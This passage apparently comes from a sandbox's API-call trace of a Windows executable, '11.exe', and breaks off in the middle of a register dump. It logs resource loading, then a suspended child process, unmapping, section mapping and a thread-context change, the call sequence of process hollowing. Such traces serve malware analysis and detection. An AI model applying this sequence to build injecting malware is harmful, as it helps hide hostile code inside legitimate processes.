(hModule=0x400000, hResInfo=0x495b30) returned 0x4a5c88 [0187.614] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.614] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.615] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.615] FindResourceW (hModule=0x400000, lpName=0x204, lpType=0x1) returned 0x495b40 [0187.615] SizeofResource (hModule=0x400000, hResInfo=0x495b40) returned 0xc33 [0187.615] LoadResource (hModule=0x400000, hResInfo=0x495b40) returned 0x4a68bc [0187.615] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.615] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.616] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.616] FindResourceW (hModule=0x400000, lpName=0x205, lpType=0x1) returned 0x495b50 [0187.616] SizeofResource (hModule=0x400000, hResInfo=0x495b50) returned 0xc33 [0187.616] LoadResource (hModule=0x400000, hResInfo=0x495b50) returned 0x4a74f0 [0187.616] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.616] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.617] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.617] FindResourceW (hModule=0x400000, lpName=0x206, lpType=0x1) returned 0x495b60 [0187.617] SizeofResource (hModule=0x400000, hResInfo=0x495b60) returned 0xc33 [0187.617] LoadResource (hModule=0x400000, hResInfo=0x495b60) returned 0x4a8124 [0187.617] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.617] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.618] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.618] FindResourceW (hModule=0x400000, lpName=0x207, lpType=0x1) returned 0x495b70 [0187.618] SizeofResource (hModule=0x400000, hResInfo=0x495b70) returned 0xc33 [0187.618] LoadResource (hModule=0x400000, hResInfo=0x495b70) returned 0x4a8d58 [0187.618] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.619] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.619] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.619] FindResourceW (hModule=0x400000, lpName=0x208, lpType=0x1) returned 0x495b80 [0187.619] SizeofResource (hModule=0x400000, hResInfo=0x495b80) returned 0xc33 [0187.619] LoadResource (hModule=0x400000, hResInfo=0x495b80) returned 0x4a998c [0187.619] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.620] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.620] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.620] FindResourceW (hModule=0x400000, lpName=0x209, lpType=0x1) returned 0x495b90 [0187.620] SizeofResource (hModule=0x400000, hResInfo=0x495b90) returned 0xc33 [0187.620] LoadResource (hModule=0x400000, hResInfo=0x495b90) returned 0x4aa5c0 [0187.620] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.621] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.621] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.621] FindResourceW (hModule=0x400000, lpName=0x20a, lpType=0x1) returned 0x495ba0 [0187.621] SizeofResource (hModule=0x400000, hResInfo=0x495ba0) returned 0xc33 [0187.621] LoadResource (hModule=0x400000, hResInfo=0x495ba0) returned 0x4ab1f4 [0187.621] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.622] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.622] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.622] FindResourceW (hModule=0x400000, lpName=0x20b, lpType=0x1) returned 0x495bb0 [0187.622] SizeofResource (hModule=0x400000, hResInfo=0x495bb0) returned 0xc33 [0187.622] LoadResource (hModule=0x400000, hResInfo=0x495bb0) returned 0x4abe28 [0187.622] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.623] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.623] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.623] FindResourceW (hModule=0x400000, lpName=0x20c, lpType=0x1) returned 0x495bc0 [0187.623] SizeofResource (hModule=0x400000, hResInfo=0x495bc0) returned 0xc33 [0187.623] LoadResource (hModule=0x400000, hResInfo=0x495bc0) returned 0x4aca5c [0187.623] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.624] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.624] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.624] FindResourceW (hModule=0x400000, lpName=0x20d, lpType=0x1) returned 0x495bd0 [0187.624] SizeofResource (hModule=0x400000, hResInfo=0x495bd0) returned 0xc33 [0187.624] LoadResource (hModule=0x400000, hResInfo=0x495bd0) returned 0x4ad690 [0187.624] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.625] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.625] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.625] FindResourceW (hModule=0x400000, lpName=0x20e, lpType=0x1) returned 0x495be0 [0187.625] SizeofResource (hModule=0x400000, hResInfo=0x495be0) returned 0xc33 [0187.625] LoadResource (hModule=0x400000, hResInfo=0x495be0) returned 0x4ae2c4 [0187.625] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.626] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.626] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.626] FindResourceW (hModule=0x400000, lpName=0x20f, lpType=0x1) returned 0x495bf0 [0187.626] SizeofResource (hModule=0x400000, hResInfo=0x495bf0) returned 0xc33 [0187.626] LoadResource (hModule=0x400000, hResInfo=0x495bf0) returned 0x4aeef8 [0187.626] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.627] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.627] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.627] FindResourceW (hModule=0x400000, lpName=0x210, lpType=0x1) returned 0x495c00 [0187.627] SizeofResource (hModule=0x400000, hResInfo=0x495c00) returned 0xc33 [0187.628] LoadResource (hModule=0x400000, hResInfo=0x495c00) returned 0x4afb2c [0187.628] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.628] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.628] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.628] FindResourceW (hModule=0x400000, lpName=0x211, lpType=0x1) returned 0x495c10 [0187.628] SizeofResource (hModule=0x400000, hResInfo=0x495c10) returned 0xc33 [0187.628] LoadResource (hModule=0x400000, hResInfo=0x495c10) returned 0x4b0760 [0187.629] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.639] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.639] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0187.639] FindResourceW (hModule=0x400000, lpName=0x212, lpType=0x1) returned 0x495c20 [0187.639] SizeofResource (hModule=0x400000, hResInfo=0x495c20) returned 0xc33 [0187.639] LoadResource (hModule=0x400000, hResInfo=0x495c20) returned 0x4b1394 [0187.640] VirtualAlloc (lpAddress=0x0, dwSize=0xc33, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.640] VirtualFree (lpAddress=0xba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0187.640] VirtualAlloc (lpAddress=0x0, dwSize=0x17200, flAllocationType=0x3000, flProtect=0x4) returned 0xba0000 [0187.643] GetCommandLineW () returned="\"C:\\Users\\FD1HVy\\Desktop\\11.exe\" " [0187.643] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\FD1HVy\\Desktop\\11.exe\" ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19f910*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19f96c | out: lpCommandLine="\"C:\\Users\\FD1HVy\\Desktop\\11.exe\" ", lpProcessInformation=0x19f96c*(hProcess=0x27c, hThread=0x278, dwProcessId=0x4b0, dwThreadId=0xf08)) returned 1 [0187.673] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x4) returned 0xbc0000 [0187.673] GetThreadContext (in: hThread=0x278, lpContext=0xbc0000 | out: lpContext=0xbc0000*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x288000, Edx=0x0, Ecx=0x0, Eax=0x91b000, Ebp=0x0, Eip=0x77c24210, SegCs=0x23, EFlags=0x202, Esp=0x19fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0187.686] NtUnmapViewOfSection (ProcessHandle=0x27c, BaseAddress=0x400000) returned 0x0 [0187.694] NtCreateSection (in: SectionHandle=0x19f97c, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x19f6e0, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x19f97c*=0x284) returned 0x0 [0187.702] NtMapViewOfSection (in: SectionHandle=0x284, ProcessHandle=0xffffffff, BaseAddress=0x19f984*=0x0, ZeroBits=0x0, CommitSize=0x19000, SectionOffset=0x0, ViewSize=0x19f6e0*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x19f984*=0xbd0000, SectionOffset=0x0, ViewSize=0x19f6e0*=0x19000) returned 0x0 [0187.710] NtMapViewOfSection (in: SectionHandle=0x284, ProcessHandle=0x27c, BaseAddress=0x19f960*=0x400000, ZeroBits=0x0, CommitSize=0x19000, SectionOffset=0x0, ViewSize=0x19f6e0*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x19f960*=0x400000, SectionOffset=0x0, ViewSize=0x19f6e0*=0x19000) returned 0x0 [0187.727] NtCreateSection (in: SectionHandle=0x19f980, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x19f6e0, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x19f980*=0x280) returned 0x0 [0187.736] NtMapViewOfSection (in: SectionHandle=0x280, ProcessHandle=0x27c, BaseAddress=0x19f968*=0x0, ZeroBits=0x0, CommitSize=0x1000, SectionOffset=0x0, ViewSize=0x19f6e0*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x19f968*=0x1c0000, SectionOffset=0x0, ViewSize=0x19f6e0*=0x1000) returned 0x0 [0187.743] NtMapViewOfSection (in: SectionHandle=0x280, ProcessHandle=0xffffffff, BaseAddress=0x19f958*=0x0, ZeroBits=0x0, CommitSize=0x1000, SectionOffset=0x0, ViewSize=0x19f6e0*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x19f958*=0xbf0000, SectionOffset=0x0, ViewSize=0x19f6e0*=0x1000) returned 0x0 [0187.744] SetThreadContext (hThread=0x278, lpContext=0xbc0000*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x288000, Edx=0x0, Ecx=0x0, Eax=0x40a9d0, Ebp=0x0, Eip=0x77c24210, SegCs=0x23, EFlags=0x202, Esp=0x19fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, 